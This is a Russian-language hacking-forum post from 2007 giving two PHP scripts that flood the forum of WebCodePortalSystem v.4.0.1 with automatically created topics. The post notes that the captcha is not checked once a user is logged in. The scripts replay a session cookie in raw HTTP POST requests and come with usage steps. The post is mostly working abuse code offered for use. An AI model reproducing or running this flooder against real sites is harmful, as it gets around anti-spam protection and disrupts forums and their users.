Показать сообщение отдельно

  #5  
Старый 23.12.2007, 00:38
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

WebCodePortalSystem v.4.0.1

[Флудилка форума]

Проверка с картинками сделана криво - после авторизации на форуме вводить символы с картинки не нужно... Вот состряпал две версии флудилки - одна работает медлено, вторая быстрее (но могут не все темы создаваться (к примеру 4-5 из 100 могут не создасться)).

Первая версия:

PHP код:
<?php
//--Отредактируйте эти данные-------------------------------

$host = 'test2.ru'; // Хост
$port = '80'; // Порт
$dir = '/'; // Директория

$forum_id = '1'; // Номер раздела форума

$cook = '36b8e776d_wcps=af6709cdabc23cdbbb445ac7066f4291'; // Ваши куки. Не забудьте отредактировать! Всего в куках две записи, вам нужна только эта - так в которой лежит сессия!!!

$tema_name = '6666687'; // Название темы
$tema_mess = '5555587'; // Текст сообщения темы

$kol = '10'; // Количество тем, которые будут созданы

//-----------------------------------------------------------
// ================
// Coded by Grey
// ================

$path = $dir.'index.php?nma=forumd&fla=new';
$ref = 'http://'.$host.$dir.'index.php?nma=forumd&fla=new&action=theme&forum='.$forum_id;

$len1 = strlen($tema_name);
$len2 = strlen($tema_mess);

for(
$i = 0; $i < $kol; $i++)
{
$s = fsockopen($host,$port) or die ('Не удаётся присоединиться к хосту.<br>');

$tema_name .= ($i+1).($i+8);
$tema_mess .= ($i+1).($i+4);

$data = 'action=ok_thema&forum='.$forum_id.'&names='.$tema_name.'&avtor=4&texts='.$tema_mess.'&uved=1&attach_sig=1&referer=topic';
$len_data = strlen($data);

$headers = "POST $path HTTP/1.1\r\nHost: $host\r\nReferer: $ref\r\nCookie: $cook\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $len_data\r\n\r\n$data\r\nConnection: close\r\n\r\n";
fputs($s, $headers);
while(!
feof($s))
{
$out_data .= fgets($s);
}
$out_data = '';
$tema_name = substr($tema_name,0,$len1);
$tema_mess = substr($tema_mess,0,$len2);
fclose($s);
echo(
'Otpravleno soobchenii : '.($i+1)."\r\n");
}

?>
Вторая версия:

PHP код:
<?php
//--Отредактируйте эти данные-------------------------------

$host = 'test2.ru'; // Хост
$port = '80'; // Порт
$dir = '/'; // Директория

$forum_id = '1'; // Номер раздела форума

$cook = '36b8e776d_wcps=af6709cdabc23cdbbb445ac7066f4291'; // Ваши куки. Не забудьте отредактировать! Всего в куках две записи, вам нужна только эта - так в которой лежит сессия!!!

$tema_name = '6666687'; // Название темы
$tema_mess = '5555587'; // Текст сообщения темы

$kol = '10'; // Количество тем, которые будут созданы

//-----------------------------------------------------------
// ================
// Coded by Grey
// ================

$path = $dir.'index.php?nma=forumd&fla=new';
$ref = 'http://'.$host.$dir.'index.php?nma=forumd&fla=new&action=theme&forum='.$forum_id;

$len1 = strlen($tema_name);
$len2 = strlen($tema_mess);

for(
$i = 0; $i < $kol; $i++)
{
$s = fsockopen($host,$port) or die ('Не удаётся присоединиться к хосту.<br>');

$tema_name .= ($i+1).($i+8);
$tema_mess .= ($i+1).($i+4);

$data = 'action=ok_thema&forum='.$forum_id.'&names='.$tema_name.'&avtor=4&texts='.$tema_mess.'&uved=1&attach_sig=1&referer=topic';
$len_data = strlen($data);

$headers = "POST $path HTTP/1.1\r\nHost: $host\r\nReferer: $ref\r\nCookie: $cook\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $len_data\r\n\r\n$data\r\nConnection: close\r\n\r\n";
fputs($s, $headers);
$out_data .= fgets($s);
$out_data = '';
$tema_name = substr($tema_name,0,$len1);
$tema_mess = substr($tema_mess,0,$len2);
fclose($s);
echo(
'Otpravleno soobchenii : '.($i+1)."\r\n");
for(
$i2 = 0; $i2 < 20000000; $i2++)
{
}
}

?>
Юзаем так:

1) Редактируем в скрипте данные (указываем адрес, номер раздела, !!!и не забываем сессию!!!).

2) Ну а дальше просто юзаем скрипт:

php c:\wcps_forum_flood.php
 
Ответить с цитированием